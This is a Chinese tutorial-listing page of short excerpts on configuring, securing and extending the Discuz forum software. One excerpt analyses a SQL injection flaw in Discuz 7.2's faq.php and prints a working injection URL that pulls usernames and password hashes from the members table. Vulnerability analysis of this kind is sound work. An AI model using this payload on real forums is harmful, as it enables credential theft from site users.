【Linux+Nginx+MySQL下配置论坛程序Discuz的基本教程】教程文章相关的互联网学习教程文章

PHP+IIS环境下Discuz无法上传图片的解决办法_PHP教程

我的PHP是刚配置的,配置好就下载安装了Discuz!,没想到不能上传图片,后来我也试下其它的Php程序,同样无法上传图片,确定不是程序的问题,肯定是我的PHP配置有问题。我的PHP是IIS环境下配置的。后来百度了下,找到了问题所在,下面说下如何解决不能上传图片的问题。1、打开php.ini文件,找到upload_tmp_dir这行,去掉前面的注释,修改成如下行:upload_tmp_dir = D:\temp2、上面的意思是为上传设置一个临时目录,此目录需要可写权...

discuz密码加密方式_PHP教程

discuz密码加密的方式,记录在此。 discuz注册时,会把密码按一个规则加密。比如我的密码是123456echo md5("123456"); 会输出:e10adc3949ba59abbe56e057f20f883e 而数据库的值却为:7839dc9437013b5c11a5d86e9b8350e9 注意到:有个叫salt的字段,其值为:d82a35其实这是一个随机的字符串。第一次md5后的值再加上盐值(salt)再进行md5,就是要得到的值了。测试:www.jbxue.comecho md5(md5(123456).d82a35); 这回结果是:7839...

浅谈discuz密码加密的方式_PHP教程

discuz注册时,会把密码按一个规则加密。 比如我的密码是123456代码如下:echo md5("123456"); 会输出:代码如下:e10adc3949ba59abbe56e057f20f883e 而数据库的值却为:代码如下:7839dc9437013b5c11a5d86e9b8350e9 注意到: 有个叫salt的字段,其值为:d82a35 其实这是一个随机的字符串。 第一次md5后的值再加上盐值(salt)再进行md5,就是要得到的值了。 试一下代码如下:echo md5(md5(123456).d82a35); 这回结果是:7839dc9...

Discuz批量替换帖子内容的方法(使用SQL更新数据库)_PHP教程

今天一个朋友的Discuz X2论坛需要批量替换帖子的内容,帖子数量上万,一开始是通过设置词语过滤,发现无效果,只能通过数据库批量替换了,具体方法请接着往下看。 Discuz X2论坛后台提供数据库SQL语句操作的功能,但是默认情况下出于安全考虑,该功能是被关闭的,所以得先修改下配置文件,方法如下: 找到论坛程序文件config/config_global.php,用记事本打开该文件,然后查找$_config[security][querysafe][status]将其设置为0,继...

项目整合DiscuzUCenter,整合discuzucenter_PHP教程【图】

项目整合Discuz UCenter,整合discuzucenter虽然个人非常不喜欢discuz,但没办法,市场就是力量,特别是对于整合discuz论坛的朋友,你如果不想用两套系统的话,整合UCenter是必然的事,虽然无趣,但不得不这么做。 一、准备工作 1、uc api说明书,通读全文。参考http://faq.comsenz.com/library/UCenter/introduction/introduction_list.htm 2、uc 后台添加应用说明。参考http://faq.comsenz.com/viewnews-506(官方) http://wenk...

Discuz7.2版的faq.phpSQL注入漏洞分析,discuz7.2faq.php_PHP教程

Discuz7.2版的faq.php SQL注入漏洞分析,discuz7.2faq.php注入代码实例:http://www.gxlcms.com?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23漏洞分析: by phithon(...

重大发现DiscuzDB层跨库映射关系表名前缀BUG,discuz关系表_PHP教程【图】

重大发现Discuz DB层跨库映射关系表名前缀BUG,discuz关系表场景: 在Discuz中创建Table模型,但该Table所在库与Discuz不在同一个库。Discuz好像是在3之后提供跨库映射的机制。 映射没问题,主要是发现表名前缀没有相应的映射过来。当然,其实也不算bug。因为他只考虑discuz自己的系统,一般来说,表名前缀是相同的。在db驱动类里,db_driver_mysql(i): function table_name中追加代码if(!empty($this->config[$id][tablepre])){$...

DiscuzDB层跨库映射关系表名前缀BUG修复后产生的新bug,discuz关系表_PHP教程【图】

Discuz DB层跨库映射关系表名前缀BUG修复后产生的新bug,discuz关系表新的逻辑引入了新的bug,会导致在跨多库连接时,产生表名前缀映射混乱,需要再做逻辑上的修复。http://www.bkjia.com/PHPjc/865482.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/865482.htmlTechArticleDiscuz DB层跨库映射关系表名前缀BUG修复后产生的新bug,discuz关系表 新的逻辑引入了新的bug,会导致在跨多库连接时,产生表名前缀映射混乱...

destoon调用discuz论坛中带图片帖子的实现方法,destoondiscuz_PHP教程【图】

destoon调用discuz论坛中带图片帖子的实现方法,destoondiscuz 在destoon开发中有时候我们需要调用论坛的帖子,但是带有图片的帖子该怎么调用出来呢,本文就来实例展示一个可以调用discuz论坛带图片的帖子的方法: 标签代码如下:{loop $tags $t} {$t[subject]} {/loop}调用论坛新帖子的方法如下:{loop $tags $t} {$t[subject]} {/loop}希望本文所述方法对大家destoon开发有所帮助。Discuz! X2 论坛DIY门户模块,怎调用帖子内的图...

Discuz&UCenter修改手记,discuz论坛_PHP教程

Discuz & UCenter 修改手记,discuz论坛最近在整JAVA和UCENTER的东西,受限于项目架构需要,无法完全以UCENTER为中心,所以在对接过程中遇到了许多不愉快的事情。经历多番研究,终于解决了其中了两个大问题,现记录下来,以备日后查看。 一、解决email必须填写的问题 项目并不要求用户注册时填写email,但UCENTER API要求必须输入email才可以通过验证,不得已必须得修改UCENTER代码才能绕过。以下是改动的代码: /uc_server/contro...

DISCUZ更改群组发帖系统提醒成员notification_add发送通知提示函数,notification_PHP教程

DISCUZ 更改群组发帖系统提醒成员 notification_add 发送通知提示函数,notificationnotification_add($touid, $type, $note, $notevars = array(), $system = 0) $touid : 发送给谁? $type : 方式? 常用的是post $note : 可以自己编辑内容 $notevars = 一些内容参数 $system = 默认情况下为0将下列代码加入到souse/class/module/module_forum_thread.php文件第139行即可if($this->param['isgroup']==1){$bt=$this->param['subject...

discuz目录文件资料汇总,discuz目录资料汇总_PHP教程

discuz目录文件资料汇总,discuz目录资料汇总 在某处收集来的discuz目录资料,二次开发挺有用的。记录下。(基于7.0的标准程序,部分与插件无关的文件不作说明) 文件颜色说明: 红色:程序核心文件,修改这类文件时千万要注意安全! 橙色:做插件几乎不会用到的文件,大概了解功能就可以了,其实我也不推荐修改这些文件 绿色:函数类文件,许多功能强大的自定义函数可以调用这类文件来使用 蓝色:最标准的插件制作常用文件紫色:该文件被Zen...

对discuz的代码分析学习(四)论坛入口文件,discuz论坛入口_PHP教程

对discuz的代码分析学习(四)论坛入口文件,discuz论坛入口只是大致分析下执行流程,主要就是取得mod参数的值,根据取值加载控制器,控制器位置在最后一行指定了。1 )定义应用名称,加载两个必要文件define(APPTYPEID, 2); define(CURSCRIPT, forum);require ./source/class/class_core.php;//核心类 require ./source/function/function_forum.php;//论坛函数库2 )modarray数组限定了mod取值范围$modarray = array(ajax,announ...

discuz二次开发笔记(二)------跳转函数运用,discuz二次开发_PHP教程

discuz二次开发笔记(二)------跳转函数运用,discuz二次开发 前几天在增加修改功能时,突然用到一个提示函数,有点不理解,看了他的由来后果断做下笔记,感觉这在以后的开发中肯定还是要用的上的。有些地方不是很理解,在以后慢慢纠正、查补。 Htm页面中用的js跳转: $("#lyy_real").click(function(){$.post("api/realnamechange.php",{uname:$("#uname").val(),uid:$("#uid").val(),realname:$("#realname_lyy").val()},f...

discuz模板语法,discuz模板_PHP教程

discuz模板语法,discuz模板Discuz! X 模板的解析主要是 ./source/class/class_template.php 文件解析处理的,如果需要深入了解请可以看看这个文件!直接执行 PHP 代码标签://相当于 //相当于 //相当于 //相当于 //相当于 直接输出变量,等同于 PHP 的 , 花括号可以省略但不建议去掉。(模块程序处理后才能在这里调用): $announcements//一般情况下输出的内容不是简单的变量 //使用条件:1-变量需经函数处理 2-输出的是变量,不...